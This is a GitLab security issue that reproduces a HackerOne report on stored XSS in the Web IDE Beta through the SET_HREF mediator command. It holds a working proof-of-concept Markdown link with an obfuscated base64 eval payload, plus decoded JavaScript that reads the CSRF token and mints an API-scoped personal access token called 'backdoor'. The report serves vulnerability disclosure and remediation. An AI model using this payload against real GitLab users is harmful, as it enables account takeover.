Stored XSS in Web IDE Beta via crafted URL executing SET_HREF mediator command with user-controlled href attribute
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #1940598](https://hackerone.com/reports/1940598)** by `viridian_40826d` on 2023-04-10, assigned to @greg:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## Report
#### Summary
Since [v15.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169), GitLab ships with a new [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide_beta/index.html) powered by the [Monaco](https://github.com/microsoft/monaco-editor) editor.
The Web IDE is [architected](https://gitlab.com/gitlab-org/gitlab-web-ide/-/blob/77e6cd26c9f6b2694290b9800f9cc0c2b328e1bd/docs/dev/architecture_packages.md) such that certain interactions take place outside of the sandboxed Monaco runtime environment. These interactions are handled by the `vscode-mediator-commands` package:
> The vscode-mediator-commands package creates a set of commands that can be **triggered** from the VSCode Extension runtime environment but are **executed** in the Iframe runtime environment. This means that web requests naturally use the Main cookie and the command can have full access to the provided configuration.
One such mediator command is `SET_HREF`, which [constructs](https://gitlab.com/gitlab-org/gitlab-web-ide/-/blob/42428717ac4793969ad83c8feaa67440b36b1a96/packages/vscode-mediator-commands/src/commands/index.ts#L115-120) a URL object by concatenating the value of `window.parent.location.href` with the `href` string attribute:
```javascript
const parentHref = window.parent.location.href;
const newUrl = new URL(href, parentHref);
window.parent.location.href = newUrl.href;
```
By default, the UI calls the `SET_HREF` command referencing an enum of trusted links to the preferences and feedback pages so that these can be opened in a new tab, outside of the sandbox:

However, the `href` attribute can become user-controlled when a mediator command URL is formed in Markdown. We can then clobber the `parentHref` by introducing our own URL in `href` with an explicitly defined scheme, like so:
```markdown
<!-- Opens the result of: new URL("javascript:confirm(document.domain)", "https://gitlab") -->
[Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:confirm%28document.domain%29"])
```
While the subframe used to _preview_ Markdown is itself sandboxed, the editor frame and its interactions with the mediator are not. Since the Web IDE supports Monaco's "follow link" behaviour, an attacker can execute arbitrary JavaScript in a victim's GitLab session when they Ctrl/Cmd-click a crafted link in a Markdown file:

#### Environment
Self-managed GitLab CE and EE instances where a strict CSP is not enforced are affected by this vulnerability.
`gitlab-rake gitlab:env:info` output:
```bash
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.0.5p211
Gem Version: 3.2.33
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.11
Sidekiq Version:6.5.7
GitLab information
Version: 15.10.2-ee
Revision: a54d6973eae
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.8
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.18.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
```
#### Steps to Reproduce
1. Bring up an instance of GitLab EE (herein `https://gitlab`) following the [installation instructions](https://about.gitlab.com/install/#ubuntu).
2. Enable the `vscode_web_ide` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html) by running `gitlab-rails console` followed by `Feature.enable(:vscode_web_ide)` once inside the IRB shell. (**Please note**: per the [documentation](https://docs.gitlab.com/ee/user/project/web_ide_beta/index.html), the new Web IDE will be enabled by default in v15.11 which releases in 12 days' time and so enabling this feature flag will soon no longer be required).
3. Create a new project from [https://gitlab/projects/new#blank_project](https://gitlab/projects/new#blank_project) and commit a README.md file containing the following proof of concept link, whose decoded JavaScript is included at the end of this section under "PoC Code":
```markdown
[Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:eval%28atob%28'dmFyIHRvayxwPW5ldyBET01QYXJzZXIsbz13aW5kb3cubG9jYXRpb24ub3JpZ2luO2ZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiBlLm9rP2UudGV4dCgpOlByb21pc2UucmVqZWN0KGUpfSkpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiB0b2s9cC5wYXJzZUZyb21TdHJpbmcoZSwidGV4dC9odG1sIikuZ2V0RWxlbWVudHNCeU5hbWUoImNzcmYtdG9rZW4iKVswXS5jb250ZW50LGZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIse2NyZWRlbnRpYWxzOiJpbmNsdWRlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIixtZXRob2Q6IlBPU1QifSxib2R5OmBhdXRoZW50aWNpdHlfdG9rZW49JHtlbmNvZGVVUklDb21wb25lbnQodG9rKX0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW25hbWVdPWJhY2tkb29yJnBlcnNvbmFsX2FjY2Vzc190b2tlbltleHBpcmVzX2F0XT0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW3Njb3Blc11bXT1hcGlgLG1ldGhvZDoiUE9TVCIsbW9kZToiY29ycyJ9KX0pKS50aGVuKChmdW5jdGlvbihlKXtyZXR1cm4gZS5vaz9lLmpzb24oKTpQcm9taXNlLnJlamVjdChlKX0pKS50aGVuKChmdW5jdGlvbihlKXthbGVydChgQ3JlYXRlZCBwZXJzb25hbCBhY2Nlc3MgdG9rZW46ICR7ZS5uZXdfdG9rZW59YCl9KSk7'%29%29"])
```
4. Open the README.md file in the Web IDE (https://gitlab/-/ide/project/demo/edit/main/-/README.md) and Ctrl/Cmd-click on the "Execute command" link.
5. Observe the JavaScript alert dialog containing a newly minted personal access token for the logged-in user.
##### PoC Code
```javascript
var tok,p=new DOMParser,o=window.location.origin;fetch(o+"/-/profile/personal_access_tokens").then((function(e){return e.ok?e.text():Promise.reject(e)})).then((function(e){return tok=p.parseFromString(e,"text/html").getElementsByName("csrf-token")[0].content,fetch(o+"/-/profile/personal_access_tokens",{credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded",method:"POST"},body:`authenticity_token=${encodeURIComponent(tok)}&personal_access_token[name]=backdoor&personal_access_token[expires_at]=&personal_access_token[scopes][]=api`,method:"POST",mode:"cors"})})).then((function(e){return e.ok?e.json():Promise.reject(e)})).then((function(e){alert(`Created personal access token: ${e.new_token}`)}));
```
#### Impact
An attacker who convinces a victim to interact with a Markdown link in the new Web IDE can execute JavaScript in that victim's GitLab session allowing them to perform unwanted actions on their behalf and take over their account.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [GitLab_WebIDE_XSS.png](https://h1.sec.gitlab.net/a/dbb6230e-4d9b-4530-8e7a-6c95c07ccf4a/GitLab_WebIDE_XSS.png)
* [GitLab_WebIDE_Mediator.png](https://h1.sec.gitlab.net/a/b090b6f5-ca4e-4101-8009-cf9f0b9cf15c/GitLab_WebIDE_Mediator.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue